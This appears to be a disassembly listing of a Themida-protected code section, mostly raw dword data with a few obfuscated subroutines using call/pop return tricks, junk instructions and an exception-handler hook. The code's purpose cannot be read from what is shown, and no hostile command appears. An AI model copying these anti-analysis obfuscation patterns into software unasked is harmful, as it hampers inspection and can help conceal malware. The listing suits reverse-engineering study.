		dd 9D8B07FAh, 7FA0AFDh,	1959D89h, 0C607FAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E6F87481h, 0FB7C8FB9h, 0BD2B6087h, 7FA06E5h, 7E9h
		dd 82DD2D00h, 0EC430C2Bh, 0B185C761h, 7FA05h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 93E7C352h, 0F5084D78h, 0E9FFB70Fh, 0FFFFF340h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E8C35141h
		dd 0AFB9460Ah, 8B74D5C0h, 0FA02499Dh, 6AC18B07h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 996C350h, 0FA2DA9BDh, 0FEBF0F07h, 150D858Dh,	896007FAh
		dd 0FA0C5DBDh, 9061F507h, 0F50F88Bh, 0D81h, 7E800h, 67ED0000h
		dd 7610BEE1h, 89905F95h, 0FA1E59B5h, 6A006A07h,	0AE900h
		dd 0B9400000h, 7B031051h, 28807D4Eh, 74BC858Dh,	6A07FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1AA9E1C3h, 0CB4DD57h, 85895C1Ah, 7FA3191h, 1B1B589h
		dd 0C08307FAh, 0D98D2905h, 6607FA31h, 6650DA8Bh, 896993BBh
		dd 88BB2404h, 891E2164h, 0FA1CF98Dh, 0E9006A07h, 0Fh, 61AA80EFh
		dd 0C1C05B59h, 8F3497ACh, 6A4661C1h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 296676D3h
		dd 8048BF66h, 174D95FFh, 5E907FAh, 0CE000000h, 83E9116Bh
		dd 7ADB8D8Dh, 9D8B07FEh, 7FA1F25h, 0DF8BD1FFh, 27ADBD83h
		dd 0F0107FAh, 8785h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 89968122h, 0FA0C4985h
		dd 6A026A07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D465C351h, 2099BD8Bh,	8B5007FAh
		dd 240489F8h, 6840Fh, 8D890000h, 7FA1EF5h, 1EF995FFh, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 38B877C3h, 77747621h, 0FB8B38B8h, 0E51E9h, 0E800h, 815D0000h
		dd 0FF74C6EDh, 75958907h, 8A07FA24h, 0A2858DDCh, 8907FE4Fh
		dd 0FA03558Dh, 0BF669007h, 90500EC0h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 32C35646h, 6F9C6FADh, 0FF64FA8Bh
		dd 35h,	0D19D8B00h, 6407FA1Bh, 2589h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 4B4B64C3h, 8831CDE0h, 0E82F1A91h, 0Dh, 1E3A2AF8h, 0A23A6639h
		dd 90FC5D66h, 0E8B0F37h, 0E9000000h, 9,	0C55664FEh, 0D998094h
		dd 0EF815B86h, 0DD4E2E5h, 312585FFh, 958907FAh,	7FA2701h
		dd 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 5BC68FC3h, 488642D7h, 7E834h, 0FEDF0000h
		dd 100B82FDh, 7E97Dh, 126E0000h, 0DAC255A9h, 0CF815BF8h
		dd 412F7491h, 24C5B5FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 609246C3h, 8D95FFFBh
		dd 0E907FA01h, 0FBh, 2B59D8Bh, 0B007FAh, 6AF38166h, 0E970E624h
		dd 0Dh,	5476413Dh, 0A8B45980h, 1F0257C9h, 8971E478h, 0FA18758Dh
		dd 0F5BD8B07h, 3C07FA2Ah, 0C4830F61h, 29000000h, 0FA0BC1B5h
		dd 0C8B60F07h, 1E1D9D8Bh, 6BA07FAh, 89000000h, 0FA2F019Dh
		dd 0F5BD8907h, 8B07FA1Eh, 0C1DF8BC1h, 53B304E8h, 2BE2F766h
		dd 219D8BC8h, 8B07FA02h, 0B70F51D1h, 6E95BD9h, 89000000h
		dd 0FA1E69B5h, 35858B07h, 6607FA2Dh, 0C7DAEF81h, 0F07C083h
		dd 0C083FEBFh, 1BD8B00h, 3B07FA05h, 2F830FD0h, 0E9000000h
		dd 12h,	51BFFF05h, 0E6E17FFEh, 5DA4A2C0h, 2F299FA2h, 40E94803h
		dd 0E9000000h, 0Eh, 80FDC485h, 0F8FC05A8h, 183AD4DEh, 8D8BD3E7h
		dd 7FA1D95h, 1E183FCh, 1D840Fh,	83F80000h, 0FA1D95A5h
		dd 9529FE07h, 7FA1EF5h,	2D359589h, 0BF6607FAh, 0E9E8B0h
		dd 8D000000h, 0FED503B5h, 0E3816607h, 6A6FE0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D6C35646h, 0DD795C72h
		dd 8E0F3876h, 4, 0C450BB66h, 12D95FFh, 0EE907FAh, 0D1000000h
		dd 0ED889D72h, 5D870515h, 4987B153h, 953B9EBh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8C0F14C3h, 1, 0FE8BF8F8h, 0FCFCE183h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 28C35141h, 0BD6682A6h
		dd 0B8C1h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 8FA9DCC3h, 0BAh,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 248160D8h, 9D8BAFFBh, 7FA3145h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 73C78166h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 288822A5h
		dd 0D67B70Bh, 88h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 93C35141h, 6890F60h, 9000000h, 0FA2F09BDh
		dd 3DBD8B07h, 6107FA24h, 2BD9BD8Bh, 958B07FAh, 7FA27C1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DEC35747h
		dd 0BDBC512Dh, 12C484AFh, 0F98B66B7h, 1C018D8Bh, 9D8B07FAh
		dd 7FA19D5h, 59C5CF81h,	8B50017Dh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	8BDE8B66h, 0FA256DBDh, 41BD8307h
		dd 7FA07h, 0B2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0E90700C3h, 0Fh, 0D43FBC8h
		dd 5A401018h, 9EE5ACCFh, 0E8404380h, 0Ch, 3CC000CEh, 0EDC7C653h
		dd 0AFB01FCAh, 0CB816652h, 5B5F8749h, 0B8h, 5CDB8100h
		dd 8D0FEF4Bh, 0FA4F538Dh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0A6AADF5Eh
		dd 2228593Ch, 0F781AD2Dh, 2A62C4BFh, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D2AD27C3h
		dd 7E00AC7Ch, 9D8B42CAh, 7FA043Dh, 1AEDBD83h, 0F0007FAh
		dd 4DA84h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0D0BDEFDDh, 81232FC9h, 80B9DFD3h
		dd 0EDBD834Eh, 107FA1Ah, 4C0840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 228C8AC3h
		dd 8B68BEE9h, 0FA331DBDh, 0EDBD8307h, 307FA1Ah,	456860Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0F6F5E6C3h, 9E440AB6h, 0BB664F51h, 60600AD0h
		dd 1901BD89h, 666007FAh, 5C90C181h, 820Fh, 61610000h, 96DF8153h
		dd 5F0BEF1Dh, 6AD98C66h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0F49DC350h,	89DA8FE7h
		dd 0FA0B919Dh, 4E18007h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0F9C35747h, 0BA0E072Eh, 3EB4B7E8h, 890Fh
		dd 0C90A0000h, 163840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 29BF47C3h, 4870Fh, 0BB660000h
		dd 7E94A68h, 3D000000h,	62356433h, 858BE99Fh, 7FA17D5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B6C35747h
		dd 695BB02Bh, 9DC1F3ABh, 2850F95h, 0B7000000h, 4185335Bh
		dd 5007FA1Ah, 505F5B56h, 5E8h, 61247700h, 6FBB7293h, 5F7438DFh
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0E482C350h, 0C7816694h, 6AFCC5h
		dd 0AE9h, 18ADE500h, 0F9A44EB0h, 6696F586h, 0E82844BBh
		dd 4, 1F03FFh, 48A0F52h, 66000000h, 5FF480BFh, 0B9666050h
		dd 63B0DA63h, 24448B61h, 1EBB6604h, 89008BFEh, 0E9042444h
		dd 0Fh,	8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 585EBC9Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 61C35343h, 0F1351BAh
		dd 483h, 59BF6600h, 8595FF2Dh, 8B07FA17h, 0F88589FBh, 8907FE7Bh
		dd 0FA09C9B5h, 1B9E907h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0D9FD7FC3h, 8B663079h
		dd 0F0858BFAh, 6A07FE7Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 1FC2C353h, 0BED78138h
		dd 0C73D5E98h, 1800h, 68E0F00h,	81000000h, 3B2650E7h, 0F4B58B7Ch
		dd 6A07FE7Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0EFB0C356h, 7E98060h, 0F61CA8Bh
		dd 858BD8B7h, 7FA06E1h,	1375BD8Bh, 68907FAh, 21B1BD89h
		dd 858B07FAh, 7FA17D5h,	2E599D2Bh, 468907FAh, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0FD1E1624h, 0B19D8B62h, 6607FA26h, 0F96F98Bh, 28Fh
		dd 50F88B00h, 5860Fh, 0E2BF0000h, 961B4F64h, 8DBDE3BFh
		dd 0F0B5FF79h, 6A07FE7Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0D54DC357h,	7A46CD5Fh
		dd 0BF667519h, 79685A5Ch, 503A94DCh, 0FDE8A52h,	0DA8B6631h
		dd 3481585Ah, 8BDF8624h, 71BD233Ah, 8D07FA03h, 0FE7BF885h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0D68A0BACh, 0D5A0DB22h, 90F8B70Fh, 66505F56h
		dd 9053E3BFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	63C35242h, 95FF1E8Ah, 7FA1785h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 8C35545h, 4DD18ABCh
		dd 61E0CEE7h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	0D5C35545h, 8E83CE28h, 3AFCFF4Ch, 1AED85C7h, 307FAh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 7F9609C3h, 29371A09h, 667ED777h, 83D117BBh
		dd 0FE7BF8BDh, 840F0007h, 54h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 1CC35646h, 23A8BE29h, 49858960h
		dd 0F07FA21h, 0E961C9BFh, 3Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0E1C35545h,	9D01BC13h, 7FA24F9h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 29C08B00h
		dd 0FA04899Dh, 0D9D8B07h, 8307FA33h, 0FA1AEDBDh, 850F0307h
		dd 44Ch, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 15h,	7BC35747h, 208B0F0Eh, 0E8000000h, 9, 5B9496BCh
		dd 400F64BDh, 0CE923h, 0E2A80000h, 0E3767663h, 0B49EB158h
		dd 835F7877h, 0FE7BF8BDh, 840F0007h, 3FCh, 32B99D8Bh, 0B5FF07FAh
		dd 7FE7BF8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	44C35343h, 0BA5400A2h, 83E112D6h, 14D95FFh, 6A07FAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 3EE50CC3h, 890B307Dh, 0FA00DD95h, 0F9850907h, 8B07FA08h
		dd 0FE7BECB5h, 0BD9D2907h, 0C707FA06h, 1000106h, 0F1BD3300h
		dd 6007FA1Ch, 32DE8166h, 0E85061B3h, 6,	91B71BD5h, 52507DCFh
		dd 310F5B52h, 0AE9h, 12096700h,	268DCECAh, 5AAD062Fh, 34895F58h
		dd 48C0F24h, 66000000h,	0FFED15BBh, 0FE7BF8B5h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 95FF1BFAh, 7FA161Dh,	0FDC9BB66h, 7BECB58Bh, 5E907FEh
		dd 72000000h, 0C9753296h, 0B09858Bh, 0FE907FAh,	2B000000h
		dd 72AA7334h, 358133C8h, 683C47FDh, 8689B686h, 0C4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 3DC35040h, 5DA2FB39h
		dd 60DB589h, 9D8B07FAh,	7FA2431h, 27C1958Bh, 6A07FAh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0F956B0C3h, 0BED78166h, 4C28362h, 89F9BF0Fh,	6A2050h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 310E75C3h, 0FA18498Dh, 0A3858D07h, 6A07FE90h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 71BFC351h, 9D337D72h, 7FA2C01h, 0B88689h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0E5AE66C3h, 0C5DF8108h, 0F61B9A3h, 148Dh, 8E800h, 34930000h
		dd 591C7A9Bh, 0E7819148h, 20E6CA0Fh, 0F9B70F5Fh, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0A32DC3h, 89BCDD8Fh,	17B18509h, 0B5FF07FAh, 7FE7BF8h
		dd 9A5874BBh, 0F995FF6Fh, 6A07FA1Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BF95C356h
		dd 8869573h, 9E9h, 5C579300h, 0FF4D796Ch, 0B3507437h, 24348934h
		dd 4F59D8Bh, 0B5FF07FAh, 7FE7BF8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 34C35242h, 0BD8B1044h, 7FA0211h
		dd 76595FFh, 9D0B07FAh,	7FA141Dh, 1EC5BD83h, 0F0007FAh
		dd 1E84h, 0EE900h, 0B5860000h, 470ACB2Eh, 15826F73h, 2D348DC4h
		dd 89B1B350h, 81662434h, 0FF2A9BDFh, 0FE7BF8B5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 8D91A5D9h, 0F689813Fh, 95FFDE8Ah, 7FA18F5h, 18999D8Bh
		dd 0B5FF07FAh, 7FE7BF8h, 6E9h, 0B02ED800h, 0FF3CF504h
		dd 0FA1EB195h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 459E10D6h, 3AF78F3Ah
		dd 0F5BD8359h, 207FA26h, 76840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 64E753C3h
		dd 2F16C7A9h, 11BD33B6h, 8B07FA07h, 0FA141985h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C6DC79h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 9AAFF3F9h, 0F780528Ch, 0E5CB8024h
		dd 5B185C7h, 7FAh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 9D8BE5C3h, 7FA1B85h
		dd 0FFF28FE9h, 0E9BD0BFFh, 8B07FA04h, 57006AC1h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 858DAD11h, 7FA150Dh,	2BD9BD09h, 0F9007FAh, 0C8Ch, 5DB86000h
		dd 0BA603B1Ch, 6913BDE3h, 84BB5061h, 901B23BAh,	781BD2Bh
		dd 6A07FAh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ah,	20C35141h, 0C9E5A942h, 6AC7EAh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 1EC35545h, 0AE9h
		dd 0DF472600h, 0D107B5Dh, 8DDD0F97h, 0FF84FF85h, 0ED9D8B07h
		dd 2907FA12h, 0FA1699BDh, 5C08307h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 5DC35141h, 4DF57707h, 0C781F9C3h
		dd 47944B1Fh, 24B35690h, 0FE8B505Fh, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 6ABC36h, 0F7B8EF81h
		dd 6A4169h, 61DBD8Bh, 95FF07FAh, 7FA174Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 57C35242h, 8D97EB5Eh
		dd 0FE7ADB8Dh, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0CDD67F7Dh, 6AD1FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 2EDF82C3h, 0DA59EE4Dh, 0ADBD832Dh, 107FA27h,	81850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 189EEDC3h, 0F259960Bh, 6A434644h,	56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 5693C59Fh, 9095E7AAh, 5E62BF66h, 0DA8B6650h,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 526BD180h, 0FF6EE34Ch, 0FA1EF995h, 0DD8D3107h, 0E907FA11h
		dd 0E2Fh, 0E8h,	0ED815D00h, 7FF8509h, 1169BD8Bh, 6A07FAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 705119C3h, 858D7366h, 7FE4FA2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0E5C35040h,	158B0Fh, 10E90000h
		dd 47000000h, 113B49Ah,	466A47CBh, 0DC096919h, 50C9D288h
		dd 0A420BF66h, 8B240489h, 0FA02319Dh, 35FF6407h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5FA097
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FA097	proc near		; CODE XREF: Themida_:005FA08Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5FA097	endp

; ---------------------------------------------------------------------------
		xor	byte ptr [edi+4CBB665Ch], 0B8h
		mov	large fs:0, esp
		mov	bx, di
		inc	dword ptr [ebp+7FA3125h]
		push	0
		push	edi
		call	sub_5FA0C9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FA0C9	proc near		; CODE XREF: Themida_:005FA0C1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5FA0C9	endp

; ---------------------------------------------------------------------------
		db 8Dh,	1Bh
		db 8Fh
		dd 89B0F8CEh, 0FA0949B5h, 6AFF6A07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 1413C357h
		dd 7B41E8D4h, 9E956524h, 329DB529h, 800F07FAh, 6, 45D9D03h
		dd 0B5FF07FAh, 7FA24A1h, 5E9h, 0A9C94200h, 95FF4572h, 7FA018Dh
		dd 132E9h, 90FEBB00h, 0B00BC9h,	6A08C781h, 70E63041h, 71E4FA8Bh
		dd 0AE9BD89h, 613C07FAh, 111830Fh, 0EE90000h, 0F7000000h
		dd 0DE6CABE4h, 0E76A7EA0h, 7D3501D5h, 0C8B60F35h, 7C19D89h
		dd 9D8907FAh, 7FA0125h,	6BAh, 0B99D2300h, 8B07FA07h, 4840FC1h
		dd 66000000h, 0C17A22BFh, 0BD8B04E8h, 7FA1C35h,	13D1B501h
		dd 0F76607FAh, 0D88B66E2h, 9D8BC82Bh, 7FA28A1h,	60D8589h
		dd 0D18B07FAh, 11E9h, 0D659F200h, 69689537h, 5D92254Ah
		dd 628DB270h, 11E989C7h, 0E9000000h, 0Ch, 6D94D052h, 58686EB8h
		dd 0A2977ABCh, 3549858Bh, 11E907FAh, 66000000h,	0D7A7DBF7h
		dd 0CD6263EEh, 1D3977ABh, 0C5DB0D0Ch, 8B07C083h, 0FA350DBDh
		dd 0BE807h, 5C340000h, 0A55B9C1Bh, 45B67BCBh, 0C0835FC2h
		dd 8E900h, 25CA0000h, 0C5C26E12h, 0D03BF358h, 8830Fh, 34E90000h
		dd 80000000h, 8D8B45EFh, 7FA1DD9h, 0E090BF66h, 32B1BD8Bh
		dd 0E18307FAh, 18840F01h, 0F000000h, 0A583FBBFh, 7FA1DD9h
		dd 0B3D380FEh, 35499589h, 0E907FAh, 8D000000h, 0FEE07AB5h
		dd 0DBB70F07h, 28E99D03h, 6A07FAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0F3C35545h,	799249ACh, 9D8BE2FBh
		dd 7FA2195h, 12D95FFh, 820F07FAh, 5, 8CCB8166h,	854B950h
		dd 890F0000h, 6, 2F9B529h, 0E18307FAh, 57006AFCh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 7AF930DBh, 81F626A2h, 0B4F386C7h, 9D8BFC1Dh,	7FA2D61h
		dd 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0B638DC3h, 8929A1F3h, 0BAEEh, 33AD0000h
		dd 3E8D1C2h, 4E983D0h, 9D0BF475h, 7FA0C15h, 0D7D78166h
		dd 0E5B5014Ch, 0D07FA34h, 88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0D8C35141h,	96EB4F0Dh, 800FC779h
		dd 6, 1A18D89h,	958B07FAh, 7FA27C1h, 8A0Fh, 8D8B0000h
		dd 7FA1C01h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0D5C35545h, 0F88B663Bh,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 9CB630C3h, 8E8B424h, 4E000000h
		dd 93A57385h, 5B9FBE36h, 1D41BD8Bh, 958907FAh, 7FA04CDh
		dd 741BD83h, 0F0007FAh,	6784h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0D88B41CBh
		dd 809BD0Bh, 0B807FAh, 9000000h, 0FA1DD5B5h, 538D8D07h
		dd 0B307FA4Fh, 6AE1FF03h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 3AC1C357h, 0B908C243h
		dd 0D5850149h, 5607FA16h, 5FFBB70Fh, 1AEDBD83h,	0F0007FAh
		dd 42C84h, 0C8F6BB00h, 0BD830155h, 7FA1AEDh, 35840F01h
		dd 89000004h, 0FA271D85h, 0EDBD8307h, 307FA1Ah,	3EC860Fh
		dd 6E80000h, 7000000h, 13D61DCBh, 14E82Bh, 5C9F0000h, 0D446CF14h
		dd 0CBD3F0A2h, 398B3AB9h, 0E6A9E549h, 0BD89F598h, 7FA1F45h
		dd 29605B5Bh, 0FA167DB5h, 0D98C6607h, 1AD9BD89h, 0E18007FAh
		dd 0BD9D8B04h, 0A07FA04h, 57840FC9h, 29000001h,	0FA19F185h
		dd 0D5858B07h, 0F807FA17h, 1A418533h, 0D38107FAh, 1B9D2900h
		dd 9EEB8166h, 0F50504Fh, 80h, 4895F00h,	52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 48F9FEC3h, 0BB66BD31h, 6A78AEh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 9DC35242h, 0DBA38E90h, 0B70F0583h
		dd 4E8FBh, 3FF0000h, 8B66001Fh,	13E950DAh, 1F000000h, 0A39A3484h
		dd 0C2D7DB87h, 4AB7CED4h, 0C209B7A3h, 448B9A06h, 8B0424h
		dd 0C4CECABFh, 24448952h, 0B3606004h, 0DE81Bh, 5F9A0000h
		dd 0DBB0ABF8h, 877E075Eh, 59821F0Ch, 0DF8B6061h, 6A586161h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 48C5C350h, 0BB02708Dh, 75CEBB1Bh,	178595FFh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 4A602C3h,	6E86793h, 68000000h, 7BCE50B5h
		dd 91BD096Bh, 5B07FA0Ch, 7BF88589h, 6A07FEh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D89F5C3h
		dd 7FA1E89h, 19DE9h, 0DA24BB00h, 858B4E67h, 7FE7BF0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F3C35040h, 7E92Fh
		dd 210D0000h, 0F6E55431h, 0B52B6026h, 7FA020Dh,	31BD2950h
		dd 5907FA31h, 1800C761h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D784C355h
		dd 759D8B25h, 0F07FA02h, 0E8Ah,	9E900h,	76E30000h, 884CB1F6h
		dd 8BEBCD22h, 0FE7BF4B5h, 0BED78107h, 8B3CB39Dh, 0FA06E185h
		dd 45952907h, 8907FA11h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 108E7FE5h, 0D3797AA6h
		dd 1BD18589h, 858B07FAh, 7FA17D5h, 78F38166h, 4468911h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FFC35141h
		dd 1F153F01h, 967E7F15h, 1DEDABFh, 0BF665005h, 0BF96FDC5h
		dd 574DBB7Dh, 7BF0B5FFh, 0BD2907FEh, 7FA132Dh, 63BD6768h
		dd 27BF6627h, 24348195h, 277CBE98h, 0DBD0160h, 8907FA06h
		dd 0FA11BD9Dh, 858D6107h, 7FE7BF8h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0ECC35343h,	3295A127h, 9082A072h
		dd 6810Fh, 9D8B0000h, 7FA3555h,	5B5090FCh, 8D319050h, 7FA243Dh
		dd 178595FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 537D33C3h, 1A25B589h, 6A6107FAh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0C790C356h, 0FA1AED85h, 307h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 88B7E6DCh, 12E8h, 3C9EA900h,	0F9FC9411h, 93C59F6Eh
		dd 95E7AA56h, 667B7A98h, 3508DB81h, 68E0F5Fh, 8B000000h
		dd 0FA05A59Dh, 0F8BD8307h, 7FE7Bh, 34840Fh, 800F0000h
		dd 6, 27C58531h, 3EE907FAh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 11BAC355h
		dd 530D148Ah, 305009A1h, 4400110Ch, 0E8C10111h,	11443010h
